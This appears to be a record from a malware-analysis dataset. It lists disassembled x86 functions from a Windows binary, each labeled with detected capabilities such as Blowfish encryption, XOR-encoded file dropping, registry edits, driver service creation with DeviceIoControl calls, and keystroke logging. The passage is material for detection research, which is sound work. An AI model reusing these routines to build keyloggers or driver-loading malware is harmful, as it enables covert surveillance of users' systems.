joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4ba840
Capabilities:
Encrypt data using blowfish

Disassembly:
mov eax, dword [esp + 0xc]
sub esp, 0x40
push ebx
push ebp
mov ebp, ecx
mov ebx, dword [esp + 0x50]
mov ecx, dword [eax]
cmp ebx, 1
mov dword [ebp], ecx
mov edx, dword [eax + 4]
mov dword [ebp + 4], edx
mov ecx, dword [eax]
mov dword [ebp + 8], ecx
mov edx, dword [eax + 4]
mov dword [ebp + 0xc], edx
jae 0x4ba881
lea eax, [esp + 0x54]
push 0x5e9058
push eax
mov dword [esp + 0x5c], str.Incorrect_key_length
call sub.MSVCRT.dll__CxxThrowException
cmp ebx, 0x38
jbe 0x4ba88b
mov ebx, 0x38
mov ecx, ebx
push esi
mov esi, dword [esp + 0x50]
mov edx, ecx
push edi
lea edi, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp + 0x10]
and ecx, 3
xor eax, eax
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x12
mov esi, 0x582060
mov edi, edx
mov dword [esp + 0x58], 0x12
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp + 0x58]
mov ecx, 0x400
mov esi, 0x5820a8
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x18]
mov esi, edx
xor edx, edx
mov dword [esp + 0x5c], 4
mov edi, edx
xor edx, edx
mov dl, byte [ecx]
shl edi, 8
or edx, edi
inc ecx
inc eax
cmp eax, ebx
jne 0x4ba8f6
xor eax, eax
lea ecx, [esp + 0x18]
mov edi, dword [esp + 0x5c]
dec edi
mov dword [esp + 0x5c], edi
jne 0x4ba8df
mov edi, dword [esi]
add esi, 4
xor edi, edx
mov edx, dword [esp + 0x58]
mov dword [esi - 4], edi
dec edx
mov dword [esp + 0x58], edx
jne 0x4ba8d5
xor edi, edi
lea esi, [ebp + 0x10]
mov dword [esp + 0x10], edi
mov dword [esp + 0x14], edi
lea eax, [esp + 0x10]
mov ecx, ebp
push eax
call fcn.004ba9a0
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov dword [esi], ecx
add esi, 4
inc edi
mov dword [esi], edx
inc edi
add esi, 4
cmp edi, 0x12
jb 0x4ba923
lea eax, [ebp + 0x58]
mov dword [esp + 0x5c], 4
mov ebx, eax
xor edi, edi
mov esi, ebx
lea eax, [esp + 0x10]
mov ecx, ebp
push eax
call fcn.004ba9a0
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov dword [esi], ecx
add esi, 4
inc edi
mov dword [esi], edx
inc edi
add esi, 4
cmp edi, 0x100
jl 0x4ba959
mov eax, dword [esp + 0x5c]
add ebx, 0x400
dec eax
mov dword [esp + 0x5c], eax
jne 0x4ba955
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x40
ret 0xc
Function at 0x4bbd10
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x54d4af
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x1c]
push ebp
push esi
push edi
lea esi, [eax + 7]
mov edi, ecx
shr esi, 3
shl esi, 3
push esi
mov dword [esp + 0x10], 0
call sub.MFC42.DLL_operatornew
mov ecx, dword [esp + 0x30]
mov edx, dword [esp + 0x28]
add esp, 4
mov ebp, eax
push ecx
push esi
push ebp
push edx
mov ecx, edi
call fcn.004bb850
call sub.MFC42.DLL_AfxGetEmptyString
mov eax, dword [eax]
push ebp
lea ecx, [esp + 0x2c]
mov dword [esp + 0x2c], eax
call fcn.0044fce0
mov ecx, esi
xor eax, eax
mov edx, ecx
mov edi, ebp
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push ebp
and ecx, 3
mov dword [esp + 0x1c], 1
rep stosb byte es:[edi], al
call sub.MFC42.DLL_operatordelete
mov esi, dword [esp + 0x24]
add esp, 4
lea eax, [esp + 0x28]
mov ecx, esi
push eax
call sub.MFC42.DLL_CString::CString_3
mov dword [esp + 0xc], 1
lea ecx, [esp + 0x28]
mov byte [esp + 0x18], 0
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x10

Function at 0x4bbde0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x54d4e7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebp
push esi
push edi
mov ebp, ecx
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x28]
mov dword [esp + 0x1c], 1
mov eax, dword [eax - 8]
lea edi, [eax + 0xa]
push edi
call sub.MFC42.DLL_operatornew
mov ecx, dword [esp + 0x30]
add esp, 4
mov esi, eax
lea edx, [esp + 0x28]
push ecx
push edi
push esi
push ecx
mov ecx, esp
mov dword [esp + 0x3c], esp
push edx
call sub.MFC42.DLL_CString::CString_3
mov ecx, ebp
call fcn.004bbc50
call sub.MFC42.DLL_AfxGetEmptyString
mov eax, dword [eax]
push esi
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], eax
call fcn.0044fce0
mov ecx, edi
xor eax, eax
mov edx, ecx
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push esi
and ecx, 3
mov byte [esp + 0x20], 2
rep stosb byte es:[edi], al
call sub.MFC42.DLL_operatordelete
mov esi, dword [esp + 0x28]
add esp, 4
lea eax, [esp + 0xc]
mov ecx, esi
push eax
call sub.MFC42.DLL_CString::CString_3
mov dword [esp + 0x10], 1
lea ecx, [esp + 0xc]
mov byte [esp + 0x1c], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x28]
mov byte [esp + 0x1c], 0
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x14]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebp
add esp, 0x14
ret 0xc
Function at 0x4bfdc0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5830e8
push 0x450af0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov eax, dword [ebp + 8]
mov ecx, eax
mov dword [ebp - 0x1c], ecx
xor edi, edi
cmp eax, edi
jne 0x4bfe00
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], edi
cmp word [ecx], 0x5a4d
je 0x4bfe21
push 0xc1
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [ebp - 4], 0xffffffff
jmp 0x4bff42
mov eax, dword [ecx + 0x3c]
add eax, ecx
mov dword [ebp - 0x24], eax
cmp dword [eax], 0x4550
je 0x4bfe48
push 0xbf
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [ebp - 4], 0xffffffff
jmp 0x4bff42
mov cx, word [eax + 0x14]
cmp cx, di
jne 0x4bfe68
push 0xc0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [ebp - 4], 0xffffffff
jmp 0x4bff42
and ecx, 0xffff
lea ecx, [ecx + eax + 0x18]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x28], edi
xor edx, edx
mov dx, word [eax + 6]
cmp edi, edx
jae 0x4bff30
lea eax, [edi + edi*4]
mov ecx, dword [ebp - 0x20]
lea eax, [ecx + eax*8]
mov esi, str..detour
mov ecx, eax
mov bl, byte [ecx]
mov dl, bl
cmp bl, byte [esi]
jne 0x4bfeba
test dl, dl
je 0x4bfeb6
mov bl, byte [ecx + 1]
mov dl, bl
cmp bl, byte [esi + 1]
jne 0x4bfeba
add ecx, 2
add esi, 2
test dl, dl
jne 0x4bfe96
xor ecx, ecx
jmp 0x4bfebf
sbb ecx, ecx
sbb ecx, 0xffffffff
test ecx, ecx
jne 0x4bff1b
mov ecx, dword [eax + 0xc]
test ecx, ecx
je 0x4bff30
mov edx, dword [eax + 0x10]
test edx, edx
je 0x4bff30
mov edx, dword [ebp - 0x1c]
lea esi, [ecx + edx]
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], esi
mov eax, dword [esi]
cmp eax, 0x30
jb 0x4bff30
cmp dword [esi + 4], 0x727444
jne 0x4bff30
mov ecx, dword [esi + 8]
test ecx, ecx
jne 0x4bfef7
mov dword [esi + 8], eax
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [ebp - 4], 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
inc edi
mov dword [ebp - 0x28], edi
mov eax, dword [ebp - 0x24]
jmp 0x4bfe78
mov dword [ebp - 4], 0xffffffff
push 0xc0
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x4c05b0
Capabilities:
Encode data using xor

Disassembly:
push edi
push 0x5f09b4
push 0x63e6b8
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 8
test edi, edi
je 0x4c0605
mov eax, dword [0x609258]
push esi
xor esi, esi
test eax, eax
jbe 0x4c05fa
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_fputc]
xor eax, eax
push edi
mov al, byte [esi + 0x584218]
xor eax, 0x7d
push eax
call ebx
mov eax, dword [0x609258]
add esp, 8
inc esi
cmp esi, eax
jb 0x4c05dd
pop ebx
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
pop esi
pop edi
ret
Function at 0x4c0740
Capabilities:
Delete registry key
Set registry value

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
push edi
call fcn.004c0620
test al, al
mov byte [0x63e6b4], al
je 0x4c094f
mov eax, dword [esp + 0x30]
and eax, 0x2000
push eax
call fcn.004c0650
call fcn.004c05b0
push 0
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
mov edi, str.._tc
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x18], al
mov edx, ecx
mov esi, edi
mov edi, 0x63e7c0
mov dword [esp + 0x19], eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ebx, dword [sym.imp.MSVCRT.dll_rand]
mov dword [esp + 0x1d], eax
mov dword [esp + 0x21], eax
mov ecx, edx
mov dword [esp + 0x25], eax
and ecx, 3
mov word [esp + 0x29], ax
rep movsb byte es:[edi], byte [esi]
mov byte [esp + 0x2b], al
call ebx
cdq
mov ecx, 3
mov esi, 0
idiv ecx
mov edi, edx
add edi, ecx
je 0x4c07f2
call ebx
cdq
mov ecx, 0x1a
idiv ecx
add dl, 0x61
mov byte [esp + esi + 0x18], dl
inc esi
cmp esi, edi
jb 0x4c07dc
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x63e7c0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x30]
and ecx, 3
push eax
push str.SOFTWAREMicrosoft
push reloc.OLEAUT32.dll_SysReAllocString
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x4c0881
mov edx, dword [esp + 0x30]
lea ecx, [esp + 0x10]
push ecx
push str.rename
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x18]
push ecx
mov ecx, dword [esp + 0x14]
push eax
push 1
push 0
push str.winio
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0x10]
push edx
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push 0x63e7c0
call esi
cmp eax, 0xffffffff
mov dword [0x60925c], eax
jne 0x4c0906
xor edi, edi
push 1
push 0x63e6b8
call fcn.004c0a90
mov bl, al
test bl, bl
je 0x4c08f2
call fcn.004c0bd0
mov bl, al
test bl, bl
je 0x4c08f2
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push 0x63e7c0
call esi
test eax, eax
mov dword [0x60925c], eax
je 0x4c08f7
cmp eax, 0xffffffff
jne 0x4c08fd
jmp 0x4c08f7
mov eax, dword [0x60925c]
inc edi
cmp edi, 4
jl 0x4c08ac
test bl, bl
je 0x4c094f
cmp eax, 0xffffffff
je 0x4c094f
lea ecx, [esp + 0x14]
push 0
push ecx
push 0
push 0
push 0
push 0
push 0x8001200c
push eax
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x4c094f
mov edx, dword [esp + 0x30]
push str.rename
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov eax, dword [esp + 0x30]
push eax
call ebp
pop edi
pop esi
pop ebp
mov byte [0x63e7bc], 1
mov al, 1
pop ebx
add esp, 0x1c
ret 4
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x1c
ret 4
Function at 0x4c0a90
Capabilities:
Create service

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
push edi
push 0x5c
push ebx
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
add esp, 8
inc esi
je 0x4c0ac4
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x63e8c4
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
jmp 0x4c0ae0
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
mov esi, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x63e8c4
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push 0x2e
rep movsb byte es:[edi], byte [esi]
push 0x63e8c4
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
test eax, eax
je 0x4c0afc
mov byte [eax], 0
call fcn.004c0b70
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
je 0x4c0b68
mov al, byte [esp + 0x14]
push 0
dec al
push 0
neg al
sbb eax, eax
push 0
push 0
and al, 0xfe
push 0
push ebx
add eax, 3
push 1
push eax
push 1
push 0xf01ff
push 0x63e8c4
push 0x63e8c4
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, eax
call esi
test edi, edi
je 0x4c0b68
push edi
call esi
call fcn.004c0bd0
pop edi
pop esi
pop ebx
ret 8
pop edi
pop esi
xor al, al
pop ebx
ret 8

Function at 0x4c0c40
Capabilities:
Stop service

Disassembly:
sub esp, 0x1c
push ebx
push esi
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x4c0c9a
push 0xf01ff
push 0x63e8c4
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
mov esi, eax
call ebx
test esi, esi
je 0x4c0c9a
lea eax, [esp + 0xc]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
mov edi, eax
call ebx
test edi, edi
pop edi
pop esi
setne al
pop ebx
add esp, 0x1c
ret
pop edi
pop esi
xor al, al
pop ebx
add esp, 0x1c
ret
Function at 0x4c0cc0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5baaa8
push 0x450af0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], esi
push str.qsefyjil
push esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x63edcc], eax
cmp eax, esi
je 0x4c0dfd
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4c0dfd
push 0x5f09b4
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov edi, eax
mov dword [ebp - 0x34], edi
cmp edi, esi
je 0x4c0d67
mov dword [ebp - 0x38], esi
mov ebx, dword [sym.imp.MSVCRT.dll_fputc]
cmp esi, dword [0x609298]
push edi
jae 0x4c0d5c
xor ecx, ecx
mov cl, byte [esi + 0x5b4028]
xor ecx, 0x7d
push ecx
call ebx
add esp, 8
inc esi
mov dword [ebp - 0x38], esi
jmp 0x4c0d3c
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
xor esi, esi
cmp dword [ebp + 0x14], esi
je 0x4c0d83
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
call fcn.004c1260
add esp, 8
mov dword [ebp - 0x20], eax
cmp eax, esi
je 0x4c0dfd
push esi
push 0x80
push 3
push esi
push esi
push 0xc0000000
push str..hkSymbolicLink
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x63edc4], eax
cmp eax, 0xffffffff
je 0x4c0dfd
mov dword [ebp - 0x24], esi
push esi
push esi
push esi
push 0x4c0cb0
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x24], eax
cmp eax, esi
je 0x4c0dfd
mov dword [0x63edc8], eax
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x28], ecx
push esi
lea edx, [ebp - 0x2c]
push edx
push 4
lea eax, [ebp - 0x30]
push eax
push 8
lea ecx, [ebp - 0x28]
push ecx
push 0x8000201c
mov edx, dword [0x63edc4]
push edx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov dword [ebp - 0x20], eax
cmp eax, esi
je 0x4c0dfd
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.004c0e20
mov eax, edi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4c0e20
Capabilities:
Delete file
Terminate thread

Disassembly:
mov edi, dword [ebp - 0x1c]
cmp edi, esi
jne 0x4c0e63
mov eax, dword [0x63edcc]
cmp eax, esi
je 0x4c0e3d
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x63edcc], esi
mov eax, dword [0x63edc4]
cmp eax, 0xffffffff
je 0x4c0e54
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x63edc4], esi
mov eax, dword [ebp - 0x24]
cmp eax, esi
je 0x4c0e63
push esi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
ret

Function at 0x4c1050
Capabilities:
Log keystrokes

Disassembly:
mov eax, dword [0x63edcc]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x4c1075
push 1
push eax
call fcn.004c10a0
add esp, 4
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
ret
xor eax, eax
ret
Function at 0x4c1080
Capabilities:
Log keystrokes

Disassembly:
push 1
push 1
call fcn.004c10a0
add esp, 4
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
ret

Function at 0x4c1110
Capabilities:
Create service

Disassembly:
mov eax, dword [esp + 0xc]
push 0
push 0
push 0
mov ecx, dword [esp + 0x10]
push 0
push 0
push eax
mov eax, dword [esp + 0x20]
push 1
push 3
push 1
push 0xf01ff
push eax
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
jne 0x4c1169
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0x431
je 0x4c1165
call esi
push eax
push str.failure:_CreateService__error_code:_u_n
push 0x63edd0
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
xor eax, eax
pop esi
ret
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
ret

Function at 0x4c1210
Capabilities:
Stop service

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
sub esp, 0x1c
push esi
push 0xf01ff
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x4c1234
pop esi
add esp, 0x1c
ret
lea edx, [esp + 4]
push edi
push edx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
pop edi
pop esi
add esp, 0x1c
ret

Function at 0x4c2bb0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
xor ebp, ebp
push esi
cmp ebx, 1
push edi
jl 0x4c2bcb
cmp ebx, 8
jg 0x4c2bcb
mov eax, 1
jmp 0x4c2bcd
xor eax, eax
mov esi, dword [esp + 0x14]
push str.bad_pack_level
push eax
push esi
call fcn.004c1410
mov eax, dword [esi + 0x6af70]
add esp, 0xc
cmp eax, ebp
mov dword [esi + 0x6af78], ebp
jne 0x4c2c04
mov dword [esi + 0x6af78], 1
mov dword [esi + 0x6af70], 0x10000
mov ecx, 0x7fff
xor eax, eax
lea edi, [esi + 0x4af70]
mov dword [esi + 0x6af6c], ebp
rep stosd dword es:[edi], eax
mov ax, word [ebx*8 + 0x5bac0a]
xor ecx, ecx
mov dword [esi + 0x6af98], eax
mov cx, word [ebx*8 + 0x5bac08]
xor edx, edx
mov dword [esi + 0x6af9c], ecx
mov dx, word [ebx*8 + 0x5bac0c]
xor eax, eax
mov dword [esi + 0x6afa0], edx
mov ax, word [ebx*8 + 0x5bac0e]
cmp ebx, 2
mov dword [esi + 0x6af94], eax
jg 0x4c2c65
mov eax, dword [esp + 0x1c]
or byte [eax], 4
jmp 0x4c2c71
cmp ebx, 8
jl 0x4c2c71
mov eax, dword [esp + 0x1c]
or byte [eax], 2
lea edi, [esi + 0x1af70]
push 0x10000
push edi
push esi
mov dword [esi + 0x6af84], ebp
mov dword [esi + 0x6af74], ebp
call dword [esi + 0xc]
add esp, 0xc
cmp eax, ebp
mov dword [esi + 0x6af90], eax
je 0x4c2cea
cmp eax, 0xffffffff
je 0x4c2cea
cmp eax, 0x106
mov dword [esi + 0x6af8c], ebp
jae 0x4c2cb5
push esi
call fcn.004c2f00
add esp, 4
mov dword [esi + 0x6af7c], ebp
xor eax, eax
mov edx, dword [esi + 0x6af7c]
xor ecx, ecx
mov cl, byte [edi + eax]
and edx, 0x3ff
and ecx, 0x7fff
shl edx, 5
xor ecx, edx
inc eax
cmp eax, 2
mov dword [esi + 0x6af7c], ecx
jb 0x4c2cbd
pop edi
pop esi
pop ebp
pop ebx
ret
mov dword [esi + 0x6af8c], 1
mov dword [esi + 0x6af90], ebp
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x4c3f80
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 8]
test ecx, ecx
jne 0x4c3f8b
xor eax, eax
ret
mov eax, dword [esp + 4]
push ebx
push esi
mov esi, dword [esp + 0x14]
cmp esi, 8
not eax
jb 0x4c408e
push edi
mov edi, esi
shr edi, 3
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
mov ebx, eax
shr ebx, 8
mov eax, dword [edx*4 + 0x5bac58]
sub esi, 8
xor eax, ebx
inc ecx
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x5bac58]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x5bac58]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x5bac58]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x5bac58]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x5bac58]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x5bac58]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x5bac58]
xor eax, edx
inc ecx
dec edi
jne 0x4c3fa6
pop edi
test esi, esi
je 0x4c40b0
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x5bac58]
xor eax, edx
inc ecx
dec esi
jne 0x4c4092
pop esi
pop ebx
not eax
ret

Function at 0x4c40c0
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
mov edx, dword [ecx]
and esi, 0xff
mov eax, edx
and eax, 0xff
xor eax, esi
shr edx, 8
mov eax, dword [eax*4 + 0x5bac58]
xor eax, edx
mov edx, dword [ecx + 4]
mov dword [ecx], eax
and eax, 0xff
add eax, edx
mov edx, dword [ecx + 8]
imul eax, eax, 0x8088405
inc eax
mov esi, edx
mov dword [ecx + 4], eax
and esi, 0xff
shr eax, 0x18
xor eax, esi
pop esi
shr edx, 8
mov eax, dword [eax*4 + 0x5bac58]
xor eax, edx
mov dword [ecx + 8], eax
ret
Function at 0x4c42f0
Capabilities:
Get file size
Parse pe header
Read file on windows

Disassembly:
sub esp, 0x44
lea eax, [esp + 0x10]
push esi
mov esi, dword [esp + 0x4c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
test eax, eax
jne 0x4c4312
mov eax, 0x200
pop esi
add esp, 0x44
ret
mov eax, dword [esp + 0x14]
push ebp
mov edx, eax
xor ebp, ebp
and edx, 1
je 0x4c4325
mov ebp, 1
test al, 2
je 0x4c432c
or ebp, 2
test al, 4
je 0x4c4333
or ebp, 4
mov ecx, eax
and ecx, 0x10
je 0x4c433d
or ebp, 0x10
test al, 0x20
je 0x4c4344
or ebp, 0x20
test ecx, ecx
je 0x4c4350
or ebp, 0x40000000
jmp 0x4c4356
or ebp, 0x80000000
or ebp, 0x1000000
test edx, edx
jne 0x4c4366
or ebp, 0x800000
push ebx
push edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x28
mov dword [esp + 0x14], eax
jbe 0x4c4415
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push 0
push 0
push esi
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
lea ecx, [esp + 0x10]
push 0
push ecx
lea edx, [esp + 0x60]
push 2
push edx
push esi
call ebx
push 0
push 0
push 0x24
push esi
call edi
lea eax, [esp + 0x10]
push 0
push eax
lea ecx, [esp + 0x20]
push 4
push ecx
push esi
call ebx
cmp word [esp + 0x58], 0x54ad
jne 0x4c4415
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
lea edx, [eax + 0x34]
cmp ecx, edx
jbe 0x4c4415
push 0
push 0
push eax
push esi
call edi
lea eax, [esp + 0x10]
push 0
push eax
lea ecx, [esp + 0x24]
push 4
push ecx
push esi
call ebx
mov eax, dword [esp + 0x1c]
cmp eax, 0x5a4d
je 0x4c440f
cmp eax, 0x454e
je 0x4c440f
cmp eax, 0x454c
je 0x4c440f
cmp eax, 0x4550
jne 0x4c4415
or ebp, 0x400000
mov eax, dword [esp + 0x5c]
pop edi
test eax, eax
pop ebx
je 0x4c4421
mov dword [eax], ebp
mov eax, dword [esp + 0x58]
pop ebp
test eax, eax
je 0x4c4430
mov edx, dword [esp + 8]
mov dword [eax], edx
mov esi, dword [esp + 0x58]
test esi, esi
je 0x4c4479
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
push eax
push ecx
call fcn.004c4250
mov dword [esi], eax
mov eax, dword [esp + 0x30]
mov dword [esi + 4], edx
mov edx, dword [esp + 0x34]
push edx
push eax
call fcn.004c4250
mov ecx, dword [esp + 0x2c]
mov dword [esi + 8], eax
mov dword [esi + 0xc], edx
mov edx, dword [esp + 0x28]
push ecx
push edx
call fcn.004c4250
mov dword [esi + 0x10], eax
add esp, 0x18
mov dword [esi + 0x14], edx
mov esi, dword [esp + 0x5c]
test esi, esi
je 0x4c44b8
mov edx, dword [esp + 0x2c]
lea eax, [esp + 0x50]
